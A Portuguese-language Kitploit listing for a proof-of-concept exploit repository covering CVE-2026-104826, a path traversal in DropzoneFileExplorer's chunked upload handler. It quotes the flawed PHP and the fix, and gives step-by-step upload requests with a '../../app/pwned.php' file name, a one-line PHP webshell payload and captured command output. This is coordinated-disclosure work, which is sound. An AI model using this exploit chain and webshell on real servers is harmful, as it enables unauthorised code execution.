Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-104826 — Cadeia de exploração proof-of-concept para CVE-2026-104826, uma path traversal no manipulador de upload em chunks do DropzoneFileExplorer que grava um webshell PHP para execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/kiwknr/cve-2026-104826
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Cadeia de exploração proof-of-concept para CVE-2026-104826, uma path traversal no manipulador de upload em chunks do DropzoneFileExplorer que grava um webshell PHP para execução remota de código.

Ver Repositório
137há 24 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-104826 - Path traversal para RCE no DropzoneFileExplorer

O manipulador de upload retomável (em chunks) confia no fileName fornecido pelo cliente até chegar ao fopen(). Alimente-o com ../../ e você escreve fora da sua pasta permitida, fora da raiz de armazenamento, dentro da raiz web. A aplicação serve PHP, então o arquivo que você planta é executado.

Projeto: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
ClasseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authautenticado por padrão, não autenticado se AUTH_ENABLE=false
CVSS v4.08.5 Alto (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Afetadov1.1 (testado no commit 68858e0)
Corrigido emv1.2
CréditoKanarat Kaeothong (Axiom0x)

Onde quebra

Duas funções importam. uploadInit pega fileName do corpo da requisição e o mantém sem nada além de um trim() (inc/functions.php, por volta da L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize depois o lê de volta e monta o caminho de saída (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() está correta por si só. Ela chama realpath() e garante que o caminho permaneça sob as raízes do usuário. O problema é o que ela recebe. $destBaseAbs e $finalDirAbs são ambos validados, mas $finalAbs, o que de fato contém o fileName do atacante, nunca é. fopen() recebe a string bruta .../shared/../../app/shell.php e o SO colapsa o .. para você.

Vale notar: todos os outros caminhos de escrita neste código ou passam o caminho composto por ensure_inside_allowed_roots() ou envolvem o nome em basename(). Este não faz nenhum dos dois. Parece um ponto que foi refatorado e a verificação final se perdeu.

Reproduzir

v1.1 original, configuração padrão (AUTH_ENABLE=true). O ator é um usuário normal lowpriv cuja única pasta é shared.

  1. Faça login como lowpriv (pegue o token CSRF da página de login, depois faça POST de auth_action=login).

  2. Confirme que o sandbox realmente funciona. Enviar diretamente para a pasta de outra pessoa é recusado:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Use a pasta permitida, mas envenene o fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Envie o payload como um único chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalize:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    A resposta reporta app/pwned.php. A própria aplicação está dizendo que escreveu fora de shared e fora da raiz de armazenamento.

  6. Execute:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

Da minha própria execução contra uma instância local:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Veja poc/exploit.py para a cadeia completa (login, CSRF, poison, chunk, finalize, execute).

Impacto

Qualquer pessoa autorizada a fazer upload pode escrever um arquivo onde quer que o processo PHP possa escrever, independentemente do que as regras de pasta por usuário digam. Um arquivo .php na raiz web é execução remota de código como o usuário web. Com AUTH_ENABLE=false não há etapa de login e é RCE não autenticado direto.

Correção

Em uploadFinalize, reduza fileName a um nome simples antes de abri-lo, e verifique novamente o caminho composto:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() sozinho já interrompe o traversal. Adicionar a verificação ensure_inside_allowed_roots($finalAbs) é a versão com cinto e suspensórios, e corresponde a como o resto do código já protege as escritas. O mesmo tratamento precisa ser aplicado ao ramo da política rename (por volta da L2210), onde $finalName é recalculado. O mantenedor incluiu isso na v1.2.

Linha do tempo

  • 2026-07-26 encontrei, construí e executei a cadeia completa contra uma v1.1 local
  • 2026-07-27 reportado em privado (GitHub Security + e-mail ao mantenedor)
  • 2026-07-27 GHSA privado aberto (GHSA-7626-89vx-5rpc)
  • 2026-07-28 mantenedor confirmou e lançou a v1.2, advisory publicado
  • 2026-10-02 GitHub CNA atribuiu CVE-2026-104826

Referências

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-104826

Divulgação coordenada, corrigido antes de se tornar público. O PoC é deliberadamente voltado para uma instância de teste local. Não aponte para nada que você não possua.

Baixar ferramenta